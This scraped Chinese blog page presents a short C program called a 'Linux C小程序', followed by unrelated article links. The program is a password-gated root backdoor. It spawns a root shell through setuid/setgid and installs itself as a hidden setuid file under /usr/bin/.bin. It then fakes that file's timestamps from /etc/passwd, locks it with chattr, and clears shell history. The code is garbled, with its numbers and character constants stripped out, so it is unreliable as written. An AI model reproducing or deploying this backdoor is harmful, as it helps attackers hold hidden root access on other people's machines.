Linux C语言小程序
Linux C语言小程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int compare(char*a,char*b)
{
if(strcmp(a,b)==)
return ;
else
return ;
}
int is_file_exist(const char*file_path)
{
if(file_path==NULL)
{
return -;
}
if(access(file_path,F_OK)==)
{
return ;
}
return -;
}
char *myFileBasePath="/usr/bin/.bin/bin";
char *password="";
char *mustFileName="./root";
int main(int argc,char** argv)
{
int errorTime=;
char typeCommandCode;
char what;
char *a=argv[];
if(compare(a,mustFileName)==){
printf("file path must be ./root\n");
return ;
}
while()
{
printf("please type your password:\n");
char *typePassword=(char*)malloc(sizeof(char));
scanf("%s",typePassword);
what=getchar();
if(compare(password,typePassword)==)
{
errorTime=;
printf("\n\n welcome you to login success! \n\n");
while()
{
system("clear");
printf("************************************************\n");
printf("* Welcome to use Blake System *\n");
printf("* 1----------------get root role *\n");
printf("* 2----------------check file *\n");
printf("* 3--------------- install command *\n");
printf("* 4----------------uninstall command *\n");
printf("* 5--------------- Exit *\n");
printf("* *\n");
printf("************************************************\n");
printf("please type your option:1-5\n");
typeCommandCode=getchar();
what=getchar();
if(typeCommandCode=='')
{
setuid();
setgid();
system("/bin/bash");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
if(is_file_exist(myFileBasePath)==)
{
printf("\n /usr/bin/.bin/bin you can find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else
{
printf("\n /usr/bin/.bin/bin you can't find the file \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
else if(typeCommandCode=='')
{
system("mkdir /usr/bin/.bin");
system("mv root /usr/bin/.bin/bin");
system("chmod 4777 /usr/bin/.bin/bin");
system("touch -r /etc/passwd /usr/bin/.bin/");
system("touch -r /etc/passwd /usr/bin/.bin/bin");
system("chattr -R +i /usr/bin/.bin");
system("history -c");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
else if(typeCommandCode=='')
{
system("chattr -i /usr/bin/.bin/bin");
system("rm -rf /usr/bin/.bin");
printf("\n Press and key to Continue \n");
what=getchar();
continue; }else if(typeCommandCode==''){
printf("\n Press and key to Exit \n");
return ;
}
else
{
printf("\n can't find the option \n");
printf("\n Press and key to Continue \n");
what=getchar();
continue;
}
}
}
else if(compare(password,typePassword)==)
{
printf("\n password error \n\n");
errorTime++;
if(errorTime==)
{
printf("\n\n error time too many, it will to exit! \n\n");
break;
return ;
}
}
}
}
Linux C语言小程序的更多相关文章
- Linux下简单C语言小程序的反汇编分析
韩洋原创作品转载请注明出处<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 写在开始,本文为因为参加MOO ...
- 通过反汇编C语言小程序学习Liunx汇编语言
大家好! 我是来自山东师范大学的吴乐. 今天在<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 ...
- c语言小程序以及java生成注释文档方法
c语言小程序:sizeof和strlen() sizeof运算符以字节为单位给出数据的大小,strlen()函数以字符为单位给出字符串的长度,字符和字节不是一回事. char类型用于存储字母和标点符号 ...
- C语言小程序——推箱子(窄字符和宽字符)
C语言小程序——推箱子(窄字符Version) 推箱子.c #include <stdio.h> #include <conio.h> #include <stdlib. ...
- 自动生成.py文件头部的C语言小程序
每次都 vi xxx.py 然后再打 #!/usr/bin/env python 等等的程序头信息感觉有点麻烦,于是便想着写一个小程序自动生成这些头信息了,顺便在 ~/.bashrc 里写入 alia ...
- c语言小程序
这是一个用c语言写的小程序,功能是随机输出30道100以内的四则运算,先生成两个随机数,再通过随机数确定四则运算符号,最后输出题目. #include<iostream> using na ...
- C语言小程序之整除
看到有人要求用C语言写这样一个小程序,就拿来温习一下 需求:输出从1到2015这2015个自然数中,能被4或5整除,但不能被30整除的数,并计算有多少个数. #include<stdio.h ...
- 第一次写C语言小程序,可以初步理解学生成绩管理系统的概念
1 成绩管理系统概述 1.1 管理信息系统的概念 管理信息系统(Management Information Systems,简称MIS),是一个不断发展的新型学科,MIS的定义随着科技的进步也在 ...
- Linux中的小程序—— 进度条
在说正事之前,首先科普一下在什么是回车什么是换行? 我们通常所说的回车就是从一行的末尾跳到另一行的开头,但事实上这却是由回车和换行两个动作所完成的,也就是键盘上<enter>所完成的工作. ...
随机推荐
- activemq无法启动且后台管理界面进不去的解决办法
从官网下载了一个最新的activemq,目前最新版本是5.14.5 我下载的是windows版本,通过执行%activemq home%/bin/win64/InstallService.bat,可以 ...
- Java IO--字节-字符流转换
OutputStreamWriter和InputStreamReader 一般在操作输入输出内容的就需要使用字节或字符流,但是有些时候需要将字符流变为字节流的形式,或者将字节流变为字符流的形式,所以, ...
- php之快速入门学习-15(php函数)
PHP 函数 PHP 的真正威力源自于它的函数. 在 PHP 中,提供了超过 1000 个内建的函数. PHP 内建函数 如需查看所有数组函数的完整参考手册和实例,请访问我们的 PHP 参考手册. P ...
- java 验证码生成
import java.awt.Color; import java.awt.Font; import java.io.IOException; import java.io.OutputStream ...
- 解决itextpdf行高问题
解法:PdfPCell.setFixedHeight(value);
- STL之lambda表达式
一.简介 我们可以向一个算法传递任何类别的可调用对象.对于一个对象或一个表达式,如果可以对其使用调用运算符,则称它为可调用的.即,如果e是一个可调用的表达式,则我们可以编写代码e(args),其中ar ...
- Android 英文文档下载地址
通过英文Android API学习Android技术是一个不错选择,当然养鸡的专业户要小心了,以下分享一些下载英文文档的链接(请使用迅雷下载): https://dl-ssl.google.com/a ...
- 【Oracle】锁
Oracle所有锁的分配和管理都是数据库管理系统自动完成的,不需要用户进行干预. v$lock表说明 字段 描述 ADDR Address of lock state object KADDR Add ...
- js 面向对象式编程
1.声明一个函数,在函数内进行初始化操作,,函数不能有返回值2.把需要的参数传递进去,参数最好以对象形式传入,如果有默认的设置默认参数3.把传入的参数都保存到对象的属性上面4.把初始化操作中需要用到的 ...
- apachebench的简单使用
apachebench的简单使用 2013-03-08 15:48:47 分类: LINUX ApacheBench是 Apache 附带的一个小工具,专门用于 HTTP Server 的benchm ...